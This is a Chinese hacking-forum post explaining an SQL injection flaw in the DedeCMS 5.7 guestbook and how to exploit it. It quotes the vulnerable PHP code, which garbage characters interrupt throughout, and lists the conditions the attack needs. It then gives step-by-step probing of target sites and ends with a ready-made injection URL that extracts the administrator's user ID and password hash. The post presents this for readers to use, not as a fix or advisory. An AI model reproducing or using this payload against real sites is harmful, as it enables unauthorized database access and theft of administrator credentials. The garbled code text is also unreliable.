找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4279|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
, w- z6 k: g8 `5 v: O
( H/ h- W6 @. j漏洞文件edit.inc.php具体代码:
# m0 k2 R/ s* A5 t
7 x. _  Z) d$ b* t" ]< ?php  ' ~. j/ o6 o& Q$ w4 n5 e* Q. m
7 J% p  Z# H2 ~( {4 d5 G, R
if(!defined('DEDEINC')) exit('Request Error!');  
& W" Z5 ?5 a3 \$ M" [
6 n! B) P4 B3 t% W' Z  b   
3 x; _( O" A! v6 W
: z% n0 r& l7 M* t7 eif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  0 d# N6 e+ a- h

- u( W, c: E/ x* t! X" s; k3 O4 X9 _; Zelse $GUEST_BOOK_POS = "guestbook.php";  
2 }1 m4 x' [: s% E* R( R; R( z$ ], Y* E# r9 B, S2 Z
   8 K( s; \5 r9 G& b7 \' _
9 p2 i4 V4 Z' j" X( a; j: e3 q* {; f
$id = intval($id);  
5 |: [8 `8 Z5 y  O2 _0 k( N- r. E6 Z( M# Z
if(empty($job)) $job='view';  
8 ~/ v5 M+ w# M. n* X2 k) D' A& C. f" R, V5 h$ p; o) `
   % U( \4 ?7 N% F3 _
, c0 B9 C5 F0 {: v
if($job=='del' && $g_isadmin)  $ J# r, {' X' k8 Z0 G

/ m! L) R) t( [{  
$ U1 `+ b" c! u7 s1 o  G
  n( u* K- W; E; V4 y$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  : t9 o/ t- b3 H2 @$ m
3 Y" n4 B" c  m! b9 j- t* z
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  ' r  B; W/ l' O& l
# \: @7 Q' I& d1 {- _! f& E  h
exit();  
9 \! ^4 k- r9 p8 [, E) }% N/ f5 j6 S, b& t$ N8 |5 L# n1 h
}    q9 S0 K$ A: F9 M

9 S' n( D5 N5 L" ~; Zelse if($job=='check' && $g_isadmin)  
" ^6 L0 x( N, P! @0 I# ?5 u
; P" P. f6 Z! k# U4 ^, W: {( a/ Y% `{  1 b9 n, y  s/ H6 i5 p' P) B' U

& p% k6 @  l) {4 u' U' Z) N$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
; q' d5 j7 {8 X2 G1 }  n' L
( |; z, I3 L/ K2 ?! ]% ~ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
- ~- y/ L! v# D$ v5 v4 A' {, _# [& o- \+ h/ X8 {, g
exit();  0 s8 ^  s, \4 |" N

0 ?" K+ Z+ V  c$ w% ^+ I+ X1 X: S}  
: c* @3 W$ G  B% D6 ~% R# o) ~. |8 q. d6 o% Y8 z
else if($job=='editok')  ' E7 m5 h9 \) R% m* X

5 J  E+ ^4 Q/ `9 c0 P( p: N{  
  ^  Y& m  b6 J7 @: c% ^. A7 C& O8 f! L/ b* C/ D
$remsg = trim($remsg);  % \2 t/ U. }! h4 Q

5 U0 G' a3 D: K) X6 I) ?. `1 B" v# hif($remsg!='')  
" D( h2 w- g) m- C% S; l  O: `" V" t  @6 A$ v
{  
4 V$ C! u9 i* [  m, ~9 i3 r
) C% }$ {- Z& j, i. M/ P" Y% p//管理员回复不过滤HTML By:Errorera blog:errs.cc  
5 a+ e3 n) K" p- i; H& A
  ~3 H& m$ p, ~4 ^2 ^if($g_isadmin)  7 A# ?( e6 m% R1 g

. Z' T2 I" r6 o, L9 ], {' Q( M$ u) O{  
2 G, C* t; r# k% a+ c
6 z+ R/ o3 M- T$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
& N" [9 o. O: Q6 `5 o5 W1 t' t& N2 _- M- L# z, {
//$remsg <br /><font color=red>管理员回复:</font> }  4 G3 Q% w7 m: Z9 x8 w! I
* N* m0 y* v) C
else
7 G9 b& ?. ^3 ?  H0 ^* I4 |2 `3 j, E" Z$ Z  e9 D
{  
/ L5 F1 j' {0 `- T9 L. e6 l8 }/ b8 w5 c2 I9 i( J
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  " E  }: ^* W3 x5 p2 t) W  ?
2 T/ b2 j; n. h5 S1 x. O
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
! o4 O8 v3 O. i9 t
) p$ }: U5 q, j# r5 U, T$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  & P/ Z4 g' C& F3 F) N& P

+ ^" f' g0 m4 v$msg = $oldmsg.$remsg;  
6 h; W; J- |( c& N/ d& n9 J- y  f0 I* w0 h# J9 Q# F! s
}  2 F7 q0 o5 T4 n- {* V8 |
: w: b2 }' {8 v2 y. w3 K' H
}  
; e6 }( E0 ^" Y6 \5 m( g
; P" s0 o$ E3 G" J! T9 L/ q//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
3 Q: e# n; y) J6 `) A5 h6 p/ T$ s0 L3 z- Q0 H$ P
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
: h7 |+ x. j1 q3 ~4 ^3 S3 F
& O8 p9 c/ f* }- [ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
. A+ d0 X1 G7 O, n; F- ?/ f; E- [: ]! M) J8 P1 J; T2 u
exit();  
+ _/ h, M3 m$ D) h+ j! F( N: f& o2 Z9 Q$ m5 w
}  
, U& l# D" F7 O* k7 m5 G' b* r4 R/ Q* i0 Z2 H" w! O
//home:www.errs.cc  
- [, j  ]4 u! V* d
/ p' W: {9 M  Z5 t* L: x0 q  |0 Nif($g_isadmin)  ) {' I1 a2 L; Z

9 g: A( J  v* l8 U$ ^{  & S% v  d- T% l" k  ], [/ P

4 _7 ^1 u4 }4 c/ @5 g1 {$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
/ x8 g" X" u; F( f3 w6 \9 {+ @3 E, |, k% v: n6 }" h
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
/ Y: ]! n; Z0 k# Y  x& E% C3 d3 _
4 j  J' l  S, w9 u}  - m, F- y4 A$ k4 o" g+ m
, S4 W0 y/ p/ l' w% `
else
9 u( q0 Q8 L. f
$ G  i2 p" u. B  Q) c* O: m( ^{    v3 Z7 h9 Z( J4 L4 x# d0 F3 R2 e/ b
  f/ R. o' h3 r
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
3 k6 S! Q3 y# B$ ^! U& n. ]% l5 v0 d/ I$ i0 Z
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  7 A4 P& [4 Q* _! C  b4 V4 P* \

0 V2 Q; z4 |7 z" M) V  X} 漏洞成功需要条件:
. V8 T; E: R- Y5 o. t6 `1. php magic_quotes_gpc=off
" P+ Y/ z& d4 `) ~! j$ x2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
6 Z! s% d* b: I1 A: v* C
: T7 Y! }2 y4 o5 @4 P; l  U怎么判断是否存在漏洞:+ s: G3 o" A) z; {# T' X; S8 c
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,; ]( i& D8 W; Y7 W* @4 P& ^
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
' d0 n0 z6 s+ C' e% w7 }访问:# S, Y8 p# ]/ p, F
2 L# w& X- S. \( s3 B% S
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了* O' }% }& V( x, N2 z# x
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证0 e' n* I4 F& a
# |+ \; h8 o1 S5 s4 [- ?5 C

: M2 a3 d$ g3 v% y; m/ P明漏洞无法利用应为他开启了 php magic_quotes_gpc=off* r4 v1 g% B: v
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。7 I. I$ r# U( e* g6 i# K9 E' L
那么再次访问1 x( a  S6 |% |) `- {5 e8 l
9 j' V' ]8 F  \5 d/ h
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().9 ?- u" ^5 @* @0 @

4 G2 ^( O/ m/ N  ?* F9 ?大概利用就是这样,大家有兴趣的多研究下!!3 l; G4 T, {0 c# |, ~  X: g
$ @( A" _4 R, z! b6 a
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
' @9 o' T# }# G7 K" k0 L  X  Z3 }% P' D3 y
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表